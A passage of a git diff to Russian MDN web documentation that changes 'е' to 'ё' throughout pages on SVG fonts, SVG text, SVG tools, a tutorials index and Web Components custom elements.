шрифтов. Она не совместима с другими форматами, такими как PostScript или OTF, это лишь простое средство вложения информации о глифах в SVG при визуализации.<br> </p> <p class="note"><strong>SVG-шрифты корректно поддерживаются только в Safari.</strong><br> - Эта возможность не была реализована в Internet Explorer, она также была удалена из Chrome 38 (и Opera 25), разработчики Mozilla отложили ее реализацию на неопределенное время, чтобы сосредоточиться на WOFF. Другие инструменты, такие как плагин Adobe SVG Viewer, Batik и частично Inkscape поддерживают встраиваемые шрифты SVG.</p> + Эта возможность не была реализована в Internet Explorer, она также была удалена из Chrome 38 (и Opera 25), разработчики Mozilla отложили её реализацию на неопределённое время, чтобы сосредоточиться на WOFF. Другие инструменты, такие как плагин Adobe SVG Viewer, Batik и частично Inkscape поддерживают встраиваемые шрифты SVG.</p> <p class="syntaxbox">Элемент {{ SVGElement("font") }} используется для определения SVG-шрифта.</p> @@ -36,17 +36,17 @@ translation_of: Web/SVG/Tutorial/SVG_fonts </font> </pre> -<p>Начнем с элемента {{ SVGElement("font") }}. Он имеет атрибут <code>id</code>, который позволяет ему ссылаться через URI (см. ниже). Атрибут <code>horiz-adv-x</code> определяет, насколько широкий символ в среднем по сравнению с путями для отдельных глифов. Обычно подходит значение 1000. Существует несколько сопутствующих атрибутов, которые помогают определить ограничительные рамки. </p> +<p>Начнём с элемента {{ SVGElement("font") }}. Он имеет атрибут <code>id</code>, который позволяет ему ссылаться через URI (см. ниже). Атрибут <code>horiz-adv-x</code> определяет, насколько широкий символ в среднем по сравнению с путями для отдельных глифов. Обычно подходит значение 1000. Существует несколько сопутствующих атрибутов, которые помогают определить ограничительные рамки. </p> -<p>Элемент {{ SVGElement("font-face") }} является в SVG эквивалентом объявления шрифта с помощью CSS-свойства <a href="https://developer.mozilla.org/en/CSS/@font-face">@font-face</a>. Он определяет основные свойства финального шрифта, такие как вес, стиль и т. д. В приведенном выше примере, первое и самое важное свойство, которое должно быть определено - это <code>font-family</code>, на значение которого затем можно ссылаться в свойствах CSS и SVG. Атрибуты <code>font-weight</code> и <code>font-style</code> имеют ту же цель, что и соответствующие свойства CSS. Все последующие атрибуты - это команды рендеринга для механизма компоновки шрифтов, задающие, к примеру, какая средняя высота символов направленных вверх или вниз <a href="http://en.wikipedia.org/wiki/Ascender_%28typography%29">выносных элементов</a>.</p> +<p>Элемент {{ SVGElement("font-face") }} является в SVG эквивалентом объявления шрифта с помощью CSS-свойства <a href="https://developer.mozilla.org/en/CSS/@font-face">@font-face</a>. Он определяет основные свойства финального шрифта, такие как вес, стиль и т. д. В приведённом выше примере, первое и самое важное свойство, которое должно быть определено - это <code>font-family</code>, на значение которого затем можно ссылаться в свойствах CSS и SVG. Атрибуты <code>font-weight</code> и <code>font-style</code> имеют ту же цель, что и соответствующие свойства CSS. Все последующие атрибуты - это команды рендеринга для механизма компоновки шрифтов, задающие, к примеру, какая средняя высота символов направленных вверх или вниз <a href="http://en.wikipedia.org/wiki/Ascender_%28typography%29">выносных элементов</a>.</p> -<p>Дочерний элемент {{ SVGElement("font-face-src") }} соответствует свойству <code>src</code> для атрибута <code>@font-face</code> в CSS. Вы можете указать внешние источники для определения шрифтов с помощью элементов {{ SVGElement("font-face-name") }} и {{ SVGElement("font-face-uri") }}. В приведенном выше примере указано, что если у рендерера имеется локальный доступный шрифт с именем «Super Sans Bold», он должен использовать его.</p> +<p>Дочерний элемент {{ SVGElement("font-face-src") }} соответствует свойству <code>src</code> для атрибута <code>@font-face</code> в CSS. Вы можете указать внешние источники для определения шрифтов с помощью элементов {{ SVGElement("font-face-name") }} и {{ SVGElement("font-face-uri") }}. В приведённом выше примере указано, что если у рендерера имеется локальный доступный шрифт с именем «Super Sans Bold», он должен использовать его.</p> <p>Следующий элемент за {{ SVGElement("font-face-src") }} - это {{ SVGElement("missing-glyph") }}. Он определяет, что должно отображаться, если символ в шрифте не был найден и если нет запасного варианта. Он также показывает, как создаются глифы: добавлением в него любого графического контента SVG. В нем вы можете использовать буквально любые элементы SVG, даже {{ SVGElement("filter") }}, {{ SVGElement("a") }} или {{ SVGElement("script") }}. Однако для простых глифов вы можете просто добавить атрибут <code>d</code> - он определяет форму для глифа точно так же, как работают стандартные пути SVG.</p> -<p>Сами глифы затем определяются элементами {{ SVGElement("glyph") }}. Наиболее важным атрибутом является <code>unicode</code>. Он определяет код кодировки unicode, представленный этим символом. Если вы указываете атрибут {{htmlattrxref("lang")}} на глифе, вы можете дополнительно ограничить его определенными языками (представленными <code>xml:lang</code>). Вы можете использовать произвольный SVG для определения глифа, и это позволит вам создать замечательные эффекты.<br> +<p>Сами глифы затем определяются элементами {{ SVGElement("glyph") }}. Наиболее важным атрибутом является <code>unicode</code>. Он определяет код кодировки unicode, представленный этим символом. Если вы указываете атрибут {{htmlattrxref("lang")}} на глифе, вы можете дополнительно ограничить его определёнными языками (представленными <code>xml:lang</code>). Вы можете использовать произвольный SVG для определения глифа, и это позволит вам создать замечательные эффекты.<br> <br> - Есть еще два элемента, которые могут быть определены внутри шрифта: {{ SVGElement("hkern") }} и {{ SVGElement("vkern") }}. Каждый из них содержит ссылки не менее чем на два символа (атрибуты <code>u1</code> и <code>u2</code>) и атрибут <code>k</code>, который определяет, на сколько должно быть уменьшено расстояние между этими символами. Ниже показан пример инструкции размещения символов «A» и «V» на стандартном расстоянии.</p> + Есть ещё два элемента, которые могут быть определены внутри шрифта: {{ SVGElement("hkern") }} и {{ SVGElement("vkern") }}. Каждый из них содержит ссылки не менее чем на два символа (атрибуты <code>u1</code> и <code>u2</code>) и атрибут <code>k</code>, который определяет, на сколько должно быть уменьшено расстояние между этими символами. Ниже показан пример инструкции размещения символов «A» и «V» на стандартном расстоянии.</p> <pre><hkern u1="A" u2="V" k="20" /> </pre> diff --git a/files/ru/web/svg/tutorial/svg_in_html_introduction/index.html b/files/ru/web/svg/tutorial/svg_in_html_introduction/index.html index 7f993c7bf8..a897157fb4 100644 --- a/files/ru/web/svg/tutorial/svg_in_html_introduction/index.html +++ b/files/ru/web/svg/tutorial/svg_in_html_introduction/index.html @@ -55,7 +55,7 @@ translation_of: Web/SVG/Tutorial/SVG_In_HTML_Introduction <h2 id="Discussion" name="Discussion">Примечание</h2> -<p>В примере представлен обычный XHTML, CSS и JavaScript код. Здесь есть лишь одна особенность, это наличие SVG элемента. Этот элемент объявлен в специальном пространстве имен SVG, содержит градиент и две фигуры заполненные градиентом. По замыслу, когда пользователь введет что-нибудь неправильное, то скрипт установит для BODY класс .invalid, где правила стиля изменяют цвет градиента и делают видимым сообщение об ошибке.</p> +<p>В примере представлен обычный XHTML, CSS и JavaScript код. Здесь есть лишь одна особенность, это наличие SVG элемента. Этот элемент объявлен в специальном пространстве имён SVG, содержит градиент и две фигуры заполненные градиентом. По замыслу, когда пользователь введёт что-нибудь неправильное, то скрипт установит для BODY класс .invalid, где правила стиля изменяют цвет градиента и делают видимым сообщение об ошибке.</p> <p>Такой способ имеет следующие пункты в свою пользу:</p> @@ -98,7 +98,7 @@ img.setAttributeNS("http://www.w3.org/1999/xlink", "xlink:href", "move.png"); <p><code>slice </code>- тоже сохраняет пропорции, но масштабирует по максимальной границе области просмотра, обрезая часть изображения, которая не поместилась в область</p> -<p>Также есть спецификатор <code>none который означает, что изображение заполнит область путем масштабирования сторон, не сохраняя пропорции (растянет).</code></p> +<p>Также есть спецификатор <code>none который означает, что изображение заполнит область путём масштабирования сторон, не сохраняя пропорции (растянет).</code></p> <pre class="brush: html"> preserveAspectRatio="none"</pre> @@ -109,7 +109,7 @@ img.setAttributeNS("http://www.w3.org/1999/xlink", "xlink:href", "move.png"); <ul> <li>Сохранение пропорций <a href="http://xiper.net/learn/svg/svg-essentials/preserving-aspect-ratio">ссылка</a></li> <li>Масштабирование и сдвиг <a href="https://msdn.microsoft.com/ru-ru/library/gg589508(v=vs.85).aspx">msdn.microsoft</a></li> - <li>Еще SVG в XHTML: <a href="/en-US/docs/SVG/Namespaces_Crash_Course/Example" title="SVG/Namespaces_Crash_Course/Example">пример</a></li> + <li>Ещё SVG в XHTML: <a href="/en-US/docs/SVG/Namespaces_Crash_Course/Example" title="SVG/Namespaces_Crash_Course/Example">пример</a></li> </ul> <p> </p> diff --git a/files/ru/web/svg/tutorial/texts/index.html b/files/ru/web/svg/tutorial/texts/index.html index 1083b55a4d..a4e0a76305 100644 --- a/files/ru/web/svg/tutorial/texts/index.html +++ b/files/ru/web/svg/tutorial/texts/index.html @@ -38,22 +38,22 @@ translation_of: Web/SVG/Tutorial/Texts <p>Элемент <code>tspan</code> имеет следующие атрибуты:<br> <br> <strong>x</strong><br> - Задает новую координату по Х (аналогично абсолютному позиционированию в CSS) для вложенного текста. Что перезаписывает, установленную по умолчанию позицию. Атрибут может также содержать набор чисел, которые поочередно применяются к каждому символу <code>tspan</code>.</p> + Задаёт новую координату по Х (аналогично абсолютному позиционированию в CSS) для вложенного текста. Что перезаписывает, установленную по умолчанию позицию. Атрибут может также содержать набор чисел, которые поочерёдно применяются к каждому символу <code>tspan</code>.</p> <p><strong>dx</strong><br> - Задает смещение по горизонтали <code>dx</code> относительно текущей позиции. Здесь вы также можете задавать набор значений, которые последовательно применяются к каждому символу, устанавливая смещение относительно предыдущего.</p> + Задаёт смещение по горизонтали <code>dx</code> относительно текущей позиции. Здесь вы также можете задавать набор значений, которые последовательно применяются к каждому символу, устанавливая смещение относительно предыдущего.</p> <p>Аналогично, для вертикального перемещения текста имеются <strong>y</strong> и <strong>dy</strong> атрибуты.<br> <br> <strong>rotate</strong><br> - Поворачивает символ на заданный угол. Атрибуту можно задавать набор чисел, которые поочередно применяются к символам. Если количество чисел в наборе меньше чем количество букв, то угол для всех оставшихся символов будет равен последнему значению в наборе.<br> + Поворачивает символ на заданный угол. Атрибуту можно задавать набор чисел, которые поочерёдно применяются к символам. Если количество чисел в наборе меньше чем количество букв, то угол для всех оставшихся символов будет равен последнему значению в наборе.<br> <br> <strong>textLength</strong><br> - Атрибут строго задает длину строки. Он предназначен для того, чтобы механизм рендеринга мог точно настраивать позиции глифов, когда измеренная длина текста не соответствует той, что указана в атрибуте.</p> + Атрибут строго задаёт длину строки. Он предназначен для того, чтобы механизм рендеринга мог точно настраивать позиции глифов, когда измеренная длина текста не соответствует той, что указана в атрибуте.</p> <h3 id="tref">tref</h3> -<p>Элемент <code>tref</code> позволяет ссылаться на уже существующий текст, эффективно копируя его на свое место. Вы можете использовать атрибут <code>xlink:href</code> чтобы указать на элемент, текст которого должен быть скопирован. Затем вы можете изменить его стили и внешний вид независимо от источника. </p> +<p>Элемент <code>tref</code> позволяет ссылаться на уже существующий текст, эффективно копируя его на своё место. Вы можете использовать атрибут <code>xlink:href</code> чтобы указать на элемент, текст которого должен быть скопирован. Затем вы можете изменить его стили и внешний вид независимо от источника. </p> <pre class="brush:xml"><text id="example">This is an example text.</text> diff --git a/files/ru/web/svg/tutorial/tools_for_svg/index.html b/files/ru/web/svg/tutorial/tools_for_svg/index.html index 97a63678a3..3962c6a5fe 100644 --- a/files/ru/web/svg/tutorial/tools_for_svg/index.html +++ b/files/ru/web/svg/tutorial/tools_for_svg/index.html @@ -17,7 +17,7 @@ translation_of: Web/SVG/Tutorial/Tools_for_SVG <p>Очень важно иметь в инструментарии приличную графическую программу. Inkscape предлагает современную векторную графику с открытым исходным кодом.</p> -<p>Кроме того, SVG является ее родным форматом. Для хранения специфичных для Inkscape данных, файл SVG расширяется элементами и атрибутами в пользовательском пространстве имен, что не мешает выбрать экспорт и в виде простого SVG.</p> +<p>Кроме того, SVG является её родным форматом. Для хранения специфичных для Inkscape данных, файл SVG расширяется элементами и атрибутами в пользовательском пространстве имён, что не мешает выбрать экспорт и в виде простого SVG.</p> <h2 id="Adobe_Illustrator">Adobe Illustrator</h2> diff --git a/files/ru/web/tutorials/index.html b/files/ru/web/tutorials/index.html index 2079a9e828..1725d6c1d9 100644 --- a/files/ru/web/tutorials/index.html +++ b/files/ru/web/tutorials/index.html @@ -35,7 +35,7 @@ translation_of: Web/Tutorials <dt><a href="http://www.html5rocks.com/tutorials/" rel="external">HTML5 Tutorials</a> (HTML5 Rocks)</dt> <dd><span id="result_box" lang="ru"><span class="hps">Совершите экскурсию</span> <span class="hps">в код</span><span>, который использует</span> <span class="hps">возможности HTML5</span><span>.</span></span></dd> <dt><a href="http://www.alistapart.com/articles/semanticsinhtml5/" rel="external">Semantics in HTML5</a> (A List Apart)</dt> - <dd>Изучите рабочую разметку, обеспечивающую обратную совместимость, расширяемую и поддерживающую будущие изменения (совместимость вперед).</dd> + <dd>Изучите рабочую разметку, обеспечивающую обратную совместимость, расширяемую и поддерживающую будущие изменения (совместимость вперёд).</dd> <dt><a href="https://developer.mozilla.org/en-US/docs/Canvas_tutorial">Canvas Tutorial</a></dt> <dd>Узнайте, как рисовать с помощью скриптов, используя элемент <code>canvas</code>.</dd> <dt><a href="http://html5doctor.com/" rel="external">HTML5 Doctor</a></dt> @@ -73,7 +73,7 @@ translation_of: Web/Tutorials <dt><a href="http://www.addyosmani.com/resources/essentialjsdesignpatterns/book/" rel="external">Essential JavaScript Design Patterns</a> (Addy Osmani)</dt> <dd>Введение в основы шаблонов проектирования JavaScript.</dd> <dt><a href="http://www.yuiblog.com/blog/2007/01/24/video-crockford-tjpl/" rel="external">The JavaScript Programming Language</a> (YUI Blog)</dt> - <dd>Douglas Crockford исследует язык, какой он есть сегодня, и как он пришел, чтобы быть.</dd> + <dd>Douglas Crockford исследует язык, какой он есть сегодня, и как он пришёл, чтобы быть.</dd> <dt><a href="https://developer.mozilla.org/en-US/docs/Introduction_to_Object-Oriented_JavaScript">Introduction to Object-Oriented JavaScript</a></dt> <dd>Узнайте об ООП в JavaScript.</dd> </dl> @@ -93,7 +93,7 @@ translation_of: Web/Tutorials <dt><a href="http://ejohn.org/apps/learn/" rel="external">Learning Advanced JavaScript</a> (John Resig)</dt> <dd>Гид по "продвинутому" JavaScript от John Resig.</dd> <dt><a href="http://www.elated.com/articles/javascript-dom-intro/" rel="external">Introducing the JavaScript DOM</a> (Elated)</dt> - <dd>Что такое Document Object Model, и зачем она нужна? Эта статья дает вам постепенное введение в эту мощную способность JavaScript.</dd> + <dd>Что такое Document Object Model, и зачем она нужна? Эта статья даёт вам постепенное введение в эту мощную способность JavaScript.</dd> <dt><a href="http://yuiblog.com/blog/2006/10/20/video-crockford-domtheory/" rel="external">An Inconvenient API: The Theory of the DOM</a> (YUI Blog)</dt> <dd>Douglas Crockford объясняет Document Object Model.</dd> <dt><a href="http://yuiblog.com/blog/2006/11/27/video-crockford-advjs/" rel="external">Advanced JavaScript</a> (YUI Blog)</dt> @@ -112,7 +112,7 @@ translation_of: Web/Tutorials <dl> <dt><strong><a href="http://exploringjs.com/es6/" rel="external">Exploring ES6</a> (Dr. Axel Rauschmayer)</strong></dt> - <dd>Надежная и подробная информация об ECMAScript 2015.</dd> + <dd>Надёжная и подробная информация об ECMAScript 2015.</dd> <dt><a href="https://github.com/bolshchikov/js-must-watch">JavaScript Videos</a> (GitHub)</dt> <dd>Видео о JavaScript.</dd> </dl> @@ -127,7 +127,7 @@ translation_of: Web/Tutorials <dl> <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/Getting_Started">CSS Getting Started</a></dt> - <dd>Этот учебник познакомит вас с каскадными таблицами стилей (CSS). Он проведет вас через основные особенности CSS и предложит практические примеры, которые можно попробовать на вашем компьютере.</dd> + <dd>Этот учебник познакомит вас с каскадными таблицами стилей (CSS). Он проведёт вас через основные особенности CSS и предложит практические примеры, которые можно попробовать на вашем компьютере.</dd> <dt><a href="http://en.wikiversity.org/wiki/Web_Design/CSS_Classes" rel="external">CSS Selector Classes</a> (Wikiversity)</dt> <dd>Что такое классы в CSS?</dd> <dt><a href="http://en.wikiversity.org/wiki/Web_Design/External_CSS" rel="external">External CSS</a> (Wikiversity)</dt> @@ -154,7 +154,7 @@ translation_of: Web/Tutorials <dt><a href="http://www.alistapart.com/articles/progressiveenhancementwithcss/" rel="external">Progressive Enhancement with CSS</a> (A List Apart)</dt> <dd>Прогрессивное улучшение в веб-страницы с помощью CSS.</dd> <dt><a href="http://www.alistapart.com/articles/fluidgrids/" rel="external">Fluid Grids</a> (A List Apart)</dt> - <dd>Дизайн верстки, который плавно изменяется вместе с размерами окна, основанный на сетке.</dd> + <dd>Дизайн вёрстки, который плавно изменяется вместе с размерами окна, основанный на сетке.</dd> </dl> <h3 id="Продвинутый_уровень_3">Продвинутый уровень</h3> diff --git a/files/ru/web/web_components/index.html b/files/ru/web/web_components/index.html index a6b79d100e..55d782175d 100644 --- a/files/ru/web/web_components/index.html +++ b/files/ru/web/web_components/index.html @@ -11,7 +11,7 @@ translation_of: Web/Web_Components <p>Как разработчики, все мы знаем, что как можно больше повторного использования кода - хорошая идея. Традиционно это было не так просто для пользовательских структур разметки - подумайте о сложном HTML (и связанном с ним стиле и сценарии), которые вам иногда приходилось писать для визуализации пользовательских элементов управления UI, и о том, как их многократное использование может превратить вашу страницу в беспорядок если вы не будете осторожны.</p> -<p>Веб-компоненты направлены на решение таких проблем - они состоят из трех основных технологий, которые можно использовать вместе для создания универсальных настраиваемых элементов с инкапсулированной функциональностью, которые можно повторно использовать где угодно, не опасаясь коллизий кода.</p> +<p>Веб-компоненты направлены на решение таких проблем - они состоят из трёх основных технологий, которые можно использовать вместе для создания универсальных настраиваемых элементов с инкапсулированной функциональностью, которые можно повторно использовать где угодно, не опасаясь коллизий кода.</p> <ul> <li><strong>Пользовательские элементы</strong>: набор API-интерфейсов JavaScript, позволяющих определять пользовательские элементы и их поведение, которые затем можно использовать по желанию в пользовательском интерфейсе.</li> @@ -23,7 +23,7 @@ translation_of: Web/Web_Components <ol> <li>Создайте класс, в котором вы указываете функциональность своего веб-компонента, используя синтаксис классов ECMAScript 2015 (дополнительную информацию см. в разделе <a href="https://wiki.developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Classes">Классы</a>).</li> - <li>Зарегистрируйте свой новый настраиваемый элемент с помощью метода {{domxref("CustomElementRegistry.define()")}}, передав ему имя элемента, который будет определен, класс или функцию, в которых указана его функциональность, и, необязательно, от какого элемента он наследуется.</li> + <li>Зарегистрируйте свой новый настраиваемый элемент с помощью метода {{domxref("CustomElementRegistry.define()")}}, передав ему имя элемента, который будет определён, класс или функцию, в которых указана его функциональность, и, необязательно, от какого элемента он наследуется.</li> <li>При необходимости прикрепите теневую DOM к настраиваемому элементу с помощью метода {{domxref("Element.attachShadow()")}}. Добавьте дочерние элементы, обработчики событий и т.д. в теневой DOM, используя обычные методы DOM.</li> <li>При необходимости определите HTML template, используя {{htmlelement("template")}} и {{htmlelement("slot")}}. Снова используйте обычные методы DOM, чтобы клонировать шаблон и прикрепить его к вашей теневой DOM.</li> <li>Используйте свой настраиваемый элемент везде, где хотите, на своей странице, как и любой обычный элемент HTML.</li> @@ -50,7 +50,7 @@ translation_of: Web/Web_Components <dt>{{domxref("Window.customElements")}}</dt> <dd>Возвращает ссылку на объект <code>CustomElementRegistry</code>.</dd> <dt><a href="/ru/docs/Web/Web_Components/Using_custom_elements#Использование_lifecycle_callbacks">Обратные вызовы жизненного цикла</a></dt> - <dd>Специальные колбэк-функции, определенные внутри определения класса настраиваемого элемента, которые влияют на его поведение: + <dd>Специальные колбэк-функции, определённые внутри определения класса настраиваемого элемента, которые влияют на его поведение: <ul> <li><code>connectedCallback</code>: вызывается, когда настраиваемый элемент впервые подключается к DOM документа.</li> <li><code>disconnectedCallback</code>: вызывается, когда пользовательский элемент отключается от DOM документа.</li> @@ -62,13 +62,13 @@ translation_of: Web/Web_Components <dd> <ul> <li>Глобальный атрибут HTML {{htmlattrxref("is")}}: позволяет указать, что стандартный элемент HTML должен вести себя как зарегистрированный встроенный пользовательский элемент.</li> - <li>Параметр «is» метода {{domxref("Document.createElement()")}}: позволяет создать экземпляр стандартного HTML-элемента, который ведет себя как заданный зарегистрированный настраиваемый встроенный элемент.</li> + <li>Параметр «is» метода {{domxref("Document.createElement()")}}: позволяет создать экземпляр стандартного HTML-элемента, который ведёт себя как заданный зарегистрированный настраиваемый встроенный элемент.</li> </ul> </dd> <dt>Псевдоклассы CSS</dt> <dd>Псевдоклассы, относящиеся конкретно к настраиваемым элементам: <ul> - <li>{{cssxref(":defined")}}: Соответствует любому заданному элементу, включая встроенные элементы и настраиваемые элементы, определенные с помощью <code>CustomElementRegistry.define()</code>.</li> + <li>{{cssxref(":defined")}}: Соответствует любому заданному элементу, включая встроенные элементы и настраиваемые элементы, определённые с помощью <code>CustomElementRegistry.define()</code>.</li> <li>{{cssxref(":host")}}: Выбирает теневой хост <a href="/ru/docs/Web/Web_Components/Using_shadow_DOM">теневого DOM</a>, содержащего CSS, внутри которого он используется.</li> <li>{{cssxref(":host()")}}: Выбирает теневой хост <a href="/ru/docs/Web/Web_Components/Using_shadow_DOM">теневой DOM</a>, содержащий CSS, внутри которого он используется (так что вы можете выбрать пользовательский элемент изнутри его теневой DOM) - но только если селектор, указанный в качестве параметра функции, совпадает с теневым хостом.</li> <li>{{cssxref(":host-context()")}}: Выбирает теневой хост <a href="/ru/docs/Web/Web_Components/Using_shadow_DOM">теневой DOM</a>, содержащий CSS, внутри которого он используется (так что вы можете выбрать пользовательский элемент изнутри его теневой DOM) - но только если селектор, указанный в качестве параметра функции, совпадает с предком(-ами) теневого хоста в том месте, где он находится внутри иерархии DOM.</li> @@ -93,14 +93,14 @@ translation_of: Web/Web_Components <dd>Расширения интерфейса <code>Element</code>, связанные с теневой DOM: <ul> <li>Метод {{domxref("Element.attachShadow()")}} прикрепляет теневое дерево DOM к указанному элементу.</li> - <li>Свойство {{domxref ("Element.shadowRoot")}} возвращает теневой корневой узел, прикрепленный к указанному элементу, или значение <code>null</code>, если корневой узел не прикреплен.</li> + <li>Свойство {{domxref ("Element.shadowRoot")}} возвращает теневой корневой узел, прикреплённый к указанному элементу, или значение <code>null</code>, если корневой узел не прикреплен.</li> </ul> </dd> <dt>Соответствующие дополнения {{domxref("Node")}}</dt> <dd>Дополнения к интерфейсу <code>Node</code>, относящиеся к теневой DOM: <ul> <li>Метод {{domxref("Node.getRootNode()")}} возвращает корень объекта контекста, который необязательно включает теневой корневой узел, если он доступен.</li> - <li>Свойство {{domxref("Node.isConnected")}} возвращает логическое значение, указывающее, подключен ли узел (прямо или косвенно) к объекту контекста, например объект {{domxref("Document")}} в случае обычного DOM или {{domxref("ShadowRoot")}} в случае теневого DOM.</li> + <li>Свойство {{domxref("Node.isConnected")}} возвращает логическое значение, указывающее, подключён ли узел (прямо или косвенно) к объекту контекста, например объект {{domxref("Document")}} в случае обычного DOM или {{domxref("ShadowRoot")}} в случае теневого DOM.</li> </ul> </dd> <dt>Расширения {{domxref("Event")}}</dt> @@ -126,7 +126,7 @@ translation_of: Web/Web_Components <dt>{{domxref("Element")}} extensions</dt> <dd>Расширения интерфейса <code>Element</code>, относящиеся к слотам: <ul> - <li>{{domxref("Element.slot")}}: Возвращает имя слота теневого DOM, прикрепленного к элементу.</li> + <li>{{domxref("Element.slot")}}: Возвращает имя слота теневого DOM, прикреплённого к элементу.</li> </ul> </dd> <dt>Псевдоэлементы CSS</dt> @@ -141,7 +141,7 @@ translation_of: Web/Web_Components <h2 id="Примеры">Примеры</h2> -<p>Мы создаем ряд примеров в репозитории GitHub с <a href="https://github.com/mdn/web-components-examples">примерами веб-компонентов</a>. Со временем будет добавлено больше.</p> +<p>Мы создаём ряд примеров в репозитории GitHub с <a href="https://github.com/mdn/web-components-examples">примерами веб-компонентов</a>. Со временем будет добавлено больше.</p> <h2 id="Спецификации">Спецификации</h2> @@ -190,13 +190,13 @@ translation_of: Web/Web_Components <li>Edge работает над реализацией.</li> </ul> -<p>Для получения подробной информации о поддержке определенных функций браузером обратитесь к перечисленным выше справочным страницам.</p> +<p>Для получения подробной информации о поддержке определённых функций браузером обратитесь к перечисленным выше справочным страницам.</p> <h2 id="Смотрите_также">Смотрите также</h2> <ul> <li><a href="https://www.webcomponents.org/">webcomponents.org</a> - сайт с примерами веб-компонентов, учебными пособиями и другой информацией.</li> - <li><a href="https://fast.design/" rel="noopener">FAST</a> - это библиотека веб-компонентов, созданная Microsoft, которая предлагает несколько пакетов для использования в зависимости от потребностей вашего проекта. <a href="https://github.com/microsoft/fast/tree/master/packages/web-components/fast-element" rel="noopener">Fast Element</a> - это легкое средство для простого создания производительных, эффективных с точки зрения памяти и совместимых со стандартами веб-компонентов. <a href="https://github.com/microsoft/fast/tree/master/packages/web-components/fast-foundation" rel="noopener">Fast Foundation</a> - это библиотека классов, шаблонов и других утилит веб-компонентов, построенная на основе fast-element, предназначенная для создания зарегистрированных веб-компонентов.</li> + <li><a href="https://fast.design/" rel="noopener">FAST</a> - это библиотека веб-компонентов, созданная Microsoft, которая предлагает несколько пакетов для использования в зависимости от потребностей вашего проекта. <a href="https://github.com/microsoft/fast/tree/master/packages/web-components/fast-element" rel="noopener">Fast Element</a> - это лёгкое средство для простого создания производительных, эффективных с точки зрения памяти и совместимых со стандартами веб-компонентов. <a href="https://github.com/microsoft/fast/tree/master/packages/web-components/fast-foundation" rel="noopener">Fast Foundation</a> - это библиотека классов, шаблонов и других утилит веб-компонентов, построенная на основе fast-element, предназначенная для создания зарегистрированных веб-компонентов.</li> <li><a href="https://github.com/hybridsjs/hybrids">Hybrids</a> - библиотека веб-компонентов с открытым исходным кодом, которая предпочитает простые объекты и чистые функции <code>class</code> и <code>this</code> синтаксису. Он предоставляет простой и функциональный API для создания пользовательских элементов.</li> <li><a href="https://www.polymer-project.org/">Polymer</a> - каркас веб-компонентов Google - набор полифилов, улучшений и примеров. На данный момент самый простой способ кроссбраузерно использовать веб-компоненты.</li> <li><a href="https://github.com/devpunks/snuggsi#readme">Snuggsi</a> - Простые веб-компоненты размером ~ 1 КБ, <em>включая полифил</em> - Все, что вам нужно, это браузер и базовое понимание классов HTML, CSS и JavaScript для продуктивной работы.</li> diff --git a/files/ru/web/web_components/using_custom_elements/index.html b/files/ru/web/web_components/using_custom_elements/index.html index 01d37d7fe9..d387daf26a 100644 --- a/files/ru/web/web_components/using_custom_elements/index.html +++ b/files/ru/web/web_components/using_custom_elements/index.html @@ -43,7 +43,7 @@ original_slug: Web/Web_Components/Использование_пользоват } }</pre> -<p>Это простой пример, но его можно дополнить. Можно определить специальные lifecycle callbacks, которые будут вызваны в определенные моменты жизненного цикла элемента. Например, <code>connectedCallback</code> будет вызван, когда пользовательский элемент оказывается впервые встроен в DOM, а <code>attributeChangedCallback</code> вызывается, когда пользовательскому элементу добавляют, удаляют или изменяют какой-то атрибут.</p> +<p>Это простой пример, но его можно дополнить. Можно определить специальные lifecycle callbacks, которые будут вызваны в определённые моменты жизненного цикла элемента. Например, <code>connectedCallback</code> будет вызван, когда пользовательский элемент оказывается впервые встроен в DOM, а <code>attributeChangedCallback</code> вызывается, когда пользовательскому элементу добавляют, удаляют или изменяют какой-то атрибут.</p> <p>Подробнее об этом в секции {{anch("Using the lifecycle callbacks")}} ниже.</p> @@ -56,7 +56,7 @@ original_slug: Web/Web_Components/Использование_пользоват <h2 id="Разбор_простых_примеров">Разбор простых примеров</h2> -<p>А сейчас давайте разберем еще несколько простых примеров, иллюстрирующих подробности создания пользовательских элементов.</p> +<p>А сейчас давайте разберём ещё несколько простых примеров, иллюстрирующих подробности создания пользовательских элементов.</p> <h3 id="Автономные_пользовательские_элементы">Автономные пользовательские элементы</h3> @@ -77,7 +77,7 @@ original_slug: Web/Web_Components/Использование_пользоват <p>В этом фрагменте кода содержится определение конструктора {{jsxref("Classes.constructor","constructor")}} класса, которое всегда начинается с вызова <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/super">super()</a></code> чтобы отработала цепочка прототипного наследования.</p> -<p>Внутри конструктора мы определяем всю функциональность, которую получит элемент при создании его объекта. В данном случае мы добавляем shadow root к пользовательскому элементу, производим манипуляции с DOM, чтобы создать определенную структуру shadow DOM внутри элемента — которая затем присоединяется к shadow root — и наконец добавляем CSS к shadow root, чтобы задать его стиль.</p> +<p>Внутри конструктора мы определяем всю функциональность, которую получит элемент при создании его объекта. В данном случае мы добавляем shadow root к пользовательскому элементу, производим манипуляции с DOM, чтобы создать определённую структуру shadow DOM внутри элемента — которая затем присоединяется к shadow root — и наконец добавляем CSS к shadow root, чтобы задать его стиль.</p> <pre class="brush: js">// Создание shadow root var shadow = this.attachShadow({mode: 'open'}); @@ -91,7 +91,7 @@ icon.setAttribute('tabindex', 0); var info = document.createElement('span'); info.setAttribute('class','info'); -// Берем содержимое атрибута и добавляем его в span +// Берём содержимое атрибута и добавляем его в span var text = this.getAttribute('text'); info.textContent = text; @@ -106,7 +106,7 @@ var img = document.createElement('img'); img.src = imgUrl; icon.appendChild(img); -// Создаем CSS для shadow dom +// Создаём CSS для shadow dom var style = document.createElement('style'); style.textContent = '.wrapper {' + @@ -119,7 +119,7 @@ shadow.appendChild(wrapper); wrapper.appendChild(icon); wrapper.appendChild(info);</pre> -<p>Наконец, регистрируем пользовательский элемент в <code>CustomElementRegistry</code> с помощью метода <code>define()</code>, который упоминался ранее — в качестве параметров мы передаем ему имя элемента и имя класса, который содержит его функциональность:</p> +<p>Наконец, регистрируем пользовательский элемент в <code>CustomElementRegistry</code> с помощью метода <code>define()</code>, который упоминался ранее — в качестве параметров мы передаём ему имя элемента и имя класса, который содержит его функциональность:</p> <pre class="brush: js">customElements.define('popup-info', PopUpInfo);</pre> @@ -164,7 +164,7 @@ wrapper.appendChild(info);</pre> </ul></pre> -<p>Вы задаете элемент <code><ul></code> как обычно, но указываете имя модифицированного элемента в атрибуте <code>is</code>.</p> +<p>Вы задаёте элемент <code><ul></code> как обычно, но указываете имя модифицированного элемента в атрибуте <code>is</code>.</p> <div class="note"> 